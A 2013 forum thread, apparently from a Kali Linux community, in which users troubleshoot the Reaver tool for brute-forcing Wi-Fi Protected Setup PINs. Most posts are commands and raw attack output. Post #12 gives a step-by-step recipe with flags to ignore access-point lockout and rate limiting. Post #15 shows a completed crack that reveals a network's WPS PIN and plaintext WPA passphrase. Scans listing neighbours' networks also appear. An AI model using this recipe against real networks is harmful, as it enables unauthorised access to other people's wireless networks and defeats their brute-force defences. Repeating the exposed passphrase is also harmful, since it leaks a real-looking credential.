1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

How do you make Reaver stop repeating same pin? (12345670)

Discussion in 'Beginners Section' started by iGot MadNinjaSkills, Apr 4, 2013.

  1. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    Been having this problem since backtrack 5R3 and barely scratched the surface...it's has to be the commands I'm using because I get different results. Any suggestions?

    root@kali:~# airmon-ng start wlan0


    Found 3 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to kill (some of) them!
    -e
    PID Name
    2465 NetworkManager
    2508 dhclient
    46470 wpa_supplicant


    Interface Chipset Driver

    wlan0 Unknown rtl8192cu - [phy0]
    (monitor mode enabled on mon0)

    root@kali:~# airodump-ng mon0

    CH 12 ][ Elapsed: 4 s ][ 2013-04-03 15:28

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    12:FB:CD:20:13:CB -95 3 0 0 11 54e WPA2 CCMP PSK getyo
    00:26:12:1E:48:64 -63 9 0 0 6 54 WEP WEP Velez
    00:1E:2A:03:41:92 -79 4 0 0 1 54e WPA TKIP PSK kacpe

    BSSID STATION PWR Rate Lost Frames Probe

    (not associated) 00:1D:1F:E2:74:7B 0 0 - 1 0 11

    root@kali:~# reaver -i mon0 -vv -b 00:1E:2A:03:41:92

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 1
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    ^C
    [+] Nothing done, nothing to save.
    root@kali:~#
     
    #1
  2. wlan0

    wlan0 Staff Member

    Joined:
    Mar 18, 2013
    Messages:
    41
    Likes Received:
    11
    Try this ?
    Or
     
    #2
    BOOF likes this.
  3. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    root@kali:~# reaver -i mon0 -vv -b 00:1E:2A:03:41:92 -p 1234

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 11
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    ^C
    [+] Nothing done, nothing to save.
    root@kali:~# reaver -i mon0 -vv -b 00:1E:2A:03:41:92 -p 4321

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 11
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 43215676
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 43215676
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 43215676
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 43215676
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    ^C
    [+] Nothing done, nothing to save.

    root@kali:~# reaver -i mon0 -f -c 11 -b 00:1E:2A:03:41:92 -vv -x 60

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Switching mon0 to channel 11
    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [!] WARNING: Receive timeout occurred
    [+] Sending WSC NACK
    [!] WPS transaction failed (code: 0x02), re-trying last pin
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    ^C
    [+] Nothing done, nothing to save.

    So only progress that help somewhat was "-P 4321" since it changed the last four digits of the pin but didn't change after that...
     
    #3
  4. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    Okay....I removed Reaver from Kali and downgraded to Reaver 1.3... slight change in password being used but only when I restart the program. So "[!] WARNING: Receive timeout occurred" seems to be the problem...
    Will continue experimenting...any suggestions feel free.

    root@kali:~# reaver -i mon0 -b 00:1E:2A:03:41:92 -vv

    Reaver v1.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 11
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Nothing done, nothing to save.
    [+] 0.00% complete @ 2013-04-03 20:54:54 (0 seconds/attempt)
    [+] Trying pin 94067927
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 94067927
    ^C
    [+] Nothing done, nothing to save.
    [+] Session saved.
    root@kali:~# reaver -i mon0 -b 00:1E:2A:03:41:92 -vv -d 1

    Reaver v1.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 11
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 53478580
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 53478580
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 53478580
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 53478580
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 53478580
    [!] WARNING: Receive timeout occurred
    ^C
    [+] Nothing done, nothing to save.
    [+] Session saved.
    root@kali:~# reaver -i mon0 -b 00:1E:2A:03:41:92 -vv -d 4

    Reaver v1.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Switching mon0 to channel 11
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 68742775
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 68742775
    [!] WARNING: Receive timeout occurred
    [+] Trying pin 68742775
    ^C
    [+] Nothing done, nothing to save.
    [+] Session saved.
     
    #4
  5. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    BSSID Channel RSSI WPS Version WPS Locked ESSID
    ---------------------------------------------------------------------------------------------------------------
    00:1E:2A:03:41:92 11 -51 1.0 No kacperek


    Just in case anyone was wondering lol.
     
    #5
  6. UltimatePeter

    UltimatePeter New Member

    Joined:
    Jun 5, 2013
    Messages:
    5
    Likes Received:
    3
    Hmmm... I know I had some timeouts occur when I went through and did this on my network. But they usually ended and then Reaver would start working again. I did have one network at my Girlfriend's do this constantly and then I just chalked it up to having countermeasures on the router. Here is the video on how I did it:



    Did you use wash to identify?
    Did you say you could do this network before?
     
    #6
  7. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1

    Thanks for replying. Thread #5 shows that yes I used wash to identify. I could never do this network before. I just watched your video and I realized I never did kill and of the PID's like you did. I will try that and follow your video step by step..but only difference is I will use macchanger for mon0. Thanks and I will post my results soon as I'm home to try it out.
     
    #7
  8. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    So far I have great news....I tried Reaver on another router of mine with WPA2 and so far I think killing the PID's has did the trick since the pins are now working and changing. I will try later tonight on my main router to see if I get great results also.

    root@Jay:~# wash -i mon0

    Wash v1.4 WiFi Protected Setup Scan Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    BSSID Channel RSSI WPS Version WPS Locked ESSID
    ---------------------------------------------------------------------------------------------------------------
    9C:2A:70:30:2F:88 1 -53 1.0 No DDW3611E1
    C0:3F:0E:58:45:F6 6 -54 1.0 No Mugsy
    A0:21:B7:5E:FF:3E 6 04 1.0 No Bozena

    ^C
    root@Jay:~# reaver -i mon0 -b C0:3F:0E:58:45:F6 -vv

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Waiting for beacon from C0:3F:0E:58:45:F6
    [+] Switching mon0 to channel 1
    [+] Switching mon0 to channel 2
    [+] Switching mon0 to channel 3
    [+] Switching mon0 to channel 4
    [+] Switching mon0 to channel 6
    [+] Associated with C0:3F:0E:58:45:F6 (ESSID: Mugsy)
    [+] Trying pin 12345670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] Trying pin 00005678
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] Trying pin 01235678
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] Trying pin 11115670
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] Trying pin 22225672
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] Trying pin 33335674
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received WSC NACK
    [+] Sending WSC NACK
    [+] 0.05% complete @ 2013-06-05 15:40:20 (3 seconds/pin)
    [+] Max time remaining at this rate: 9:09:42 (10994 pins left to try)
    [+] Trying pin 44445676
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    ^C
    [+] Session saved.
     
    #8
  9. Nickz

    Nickz New Member

    Joined:
    Jul 8, 2013
    Messages:
    3
    Likes Received:
    0
    Hi. I have tested reaver with 2 different AP and with both i had similar issues. The first, a Linksys WRT160n, stops each trasaction after my identity response (as iGotMadNinjaSkills reported), while the second, a d-link DAP-1360 stops after each M2 message. xD

    A thing i noticed in the .cap file i recorded is that my adapter (a tp-link wn722n, ath9k) sends each frame two times.
    This is a reaver transaction with the wrt160n making me going timeout after my Response identity:
    Code:
    Time        Source            Destination        Protocol    Info   
     
    10.515650    Cisco-Li_c0:44:5c    Tp-LinkT_f0:ed:fd      802.11    Authentication, SN=2767, FN=0, Flags=........
    10.515742    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      802.11    Association Request, SN=6, FN=0, Flags=........, SSID=WiFi-Ez
    10.517278    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      802.11    Association Request, SN=6, FN=0, Flags=........, SSID=WiFi-Ez
    10.517700                       Tp-LinkT_f0:ed:fd (RA)   802.11    Acknowledgement, Flags=........
    10.518213    Cisco-Li_c0:44:5c    Tp-LinkT_f0:ed:fd      802.11    Association Response, SN=2768, FN=0, Flags=........
    10.518302    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      EAPOL     Start
    10.519326    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      EAPOL     Start
    10.519748                       Tp-LinkT_f0:ed:fd (RA)   802.11    Acknowledgement, Flags=........
    10.528963    Cisco-Li_c0:44:5c    Tp-LinkT_f0:ed:fd      EAP       Request, Identity
    10.529054    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      EAP       Response, Identity
    10.530590    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      EAP       Response, Identity
    10.531012                       Tp-LinkT_f0:ed:fd (RA)   802.11    Acknowledgement, Flags=........
    21.566942    Tp-LinkT_f0:ed:fd    Cisco-Li_c0:44:5c      802.11    Deauthentication, SN=9, FN=0, Flags=........
    as u can see there are two EAPOL Start frames and two response identity sent by my adapter (all transactions are the same). The Retry bit in the frame control of those duplicates are set to 0, so it seems they are not being retransmitted because the AP did not recive them, my adaptor is really sending each time two identical but separate frames. Could this be the problem?

    UltimatePeter Could you post a .cap file of your session? I really want to see how a correct WPS transaction should look like. It would be useful even if u just tell me if u get duplicates too. Thx

    and sry for my english xD
     
    #9
  10. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    well I've made great progress but ran into another road block...

    "Detected AP rate limiting, waiting 60 seconds before re-checking."

    Funny thing is I used the "--dh-small" command with Reaver to hopefully prevent this and it still happened.
    I'll start studying on good suggestions to help prevent routers from detecting suspicious activity. I will use the "-d" command next time soon as router unlocks, for starts i'll try a "-d 20" command to see if it helps with the problem.
     
    #10
  11. Nickz

    Nickz New Member

    Joined:
    Jul 8, 2013
    Messages:
    3
    Likes Received:
    0
    --dh-small is uesd to lower the computational load on APs with poor hardware and can not prevent rate limiting which is a defensive mechanism against bruteforce.
    I have tested another AP and had reaver work correctly even with duplicate packets so it could be that
    1. it' s normal to send duplicates or
    2. it's not normal, some APs tolerates this, other do not

    I'm sure that just one EAPOL start packet is enough to get the request identity packet. So why am i sending 2 of them?
     
    #11
  12. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    Well I finally cracked my pin for my router.
    Steps as below:
    1) airmon-ng start wlan0 or wlan1 (wlan1 for me)
    2) kill all PIDs that are listed (ex. Kill 2204) (Thanks UltimatePeter for this tip, this is what seemed to help pins change)
    3) airodump-ng mon0 (keep note of what channel router is on)
    4) copy BSSID of your router then CTRL+C to stop airodump-ng
    5) this is command I used that eventually changed pins and helped prevent AP rate limiting..
    Reaver -i mon0 -b (enter bssid here) -c (channel router is on) -S (which sends small loads only to AP) -L (this helps ignore the AP lockout attempts) -vv

    I successfully cracked pin in 26,055 seconds which is a lil under 8 hours.

    This router was WPA+TKIP encrypted as you can see in Thread #1 so don't believe people who say Reaver can't crack TKIP.

    This Reaver command might not work 100% for everyone but I've had great success with it so far. In the end I believe that with all the commands Reaver has to provide us with it's up to us to decide which ones to use being that all routers are not the same.
     
    #12
  13. Nickz

    Nickz New Member

    Joined:
    Jul 8, 2013
    Messages:
    3
    Likes Received:
    0
    I recently discovered the existance of a second new project based on reaver named bully
    https://github.com/bdpurcell/bully
    They introduced some new features and options. As the original reaver project seems to be dead, we can try to test this one and maybe report issues on their site to help the new development.
     
    #13
  14. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    Sounds like a great idea. I'll try it out now.
     
    #14
  15. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    root@Jay:~# reaver -i mon0 -b 00:1E:2A:03:41:92 -c 6 -S -L -vv

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Switching mon0 to channel 6
    [?] Restore previous session for 00:1E:2A:03:41:92? [n/Y] y
    [+] Restored previous session
    [+] Waiting for beacon from 00:1E:2A:03:41:92
    [+] Associated with 00:1E:2A:03:41:92 (ESSID: kacperek)
    [+] Trying pin 96395677
    [+] Sending EAPOL START request
    [+] Received identity request
    [+] Sending identity response
    [+] Received M1 message
    [+] Sending M2 message
    [+] Received M3 message
    [+] Sending M4 message
    [+] Received M5 message
    [+] Sending M6 message
    [+] Received M7 message
    [+] Sending WSC NACK
    [+] Sending WSC NACK
    [+] Pin cracked in 6 seconds
    [+] WPS PIN: '96395677'
    [+] WPA PSK: 'kacperek8521216'
    [+] AP SSID: 'kacperek'
    root@Jay:~#
     
    #15
  16. essoullami

    essoullami New Member

    Joined:
    Oct 27, 2013
    Messages:
    1
    Likes Received:
    0
    reaver -i mon0 -b 14: D6: 4D: 24: 77: 8E -a -S -N -c <channel> -vv
    with ni espac ok
     
    #16
  17. Gshadow

    Gshadow New Member

    Joined:
    Nov 24, 2013
    Messages:
    1
    Likes Received:
    0
    Hi, i have the problem whit the kill process.
    When i kill the process of NetworkMangaer, it restart and have a new PID, even though I'm repeating step several times.

    And when i execute:
    Code:
    wash -i mon0
    nothing happens, but it continues to charge me anything
    here is the screnn:
    Code:
    root@geri-300E4C-300E5C-300E7C:~# wash -i mon0
    
    Wash v1.4 WiFi Protected Setup Scan Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
    
    BSSID                  Channel      RSSI      WPS Version      WPS Locked        ESSID
    ---------------------------------------------------------------------------------------------------------------
    
    why i have this problem?
     
    #17
  18. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    ok for starts copy and paste all your commands entries from the start starting with ifconfig and we'll go from there.
    I've never had the problem of Network Manager starting up again after killing the PID
     
    #18
  19. Jim Marley

    Jim Marley New Member

    Joined:
    Nov 29, 2013
    Messages:
    7
    Likes Received:
    0
    I have the same problem as Gshadow.
    Here are the commands: http://pastebin.ca/2484307
    Also, when I do the "wash -i mon0" command, nothing happens just like he explained above.
     
    #19
  20. iGot MadNinjaSkills

    iGot MadNinjaSkills Member

    Joined:
    Apr 3, 2013
    Messages:
    34
    Likes Received:
    1
    ok I don't know why you have so many monitor modes but it's no big problem.
    here's the thing with the wash command, it will only detect routers that support WPS.
    now another thing...when you start airmon-ng start wlan0 I want you to kill the Network Manager PID.
    in your last case it was 2566, so you should of typed "kill 2566" (without quotes) before trying wash or airodump-ng.
    Note: the PID for Network manager will constantly change when you start airmon-ng, if you would like to check if the PID has been killed type "airmon-ng check" (without quotes) and Network Manager should no longer be on the list of PIDs.
    Any more questions or problems just let me know.
     
    #20
    Last edited: Nov 29, 2013

Share This Page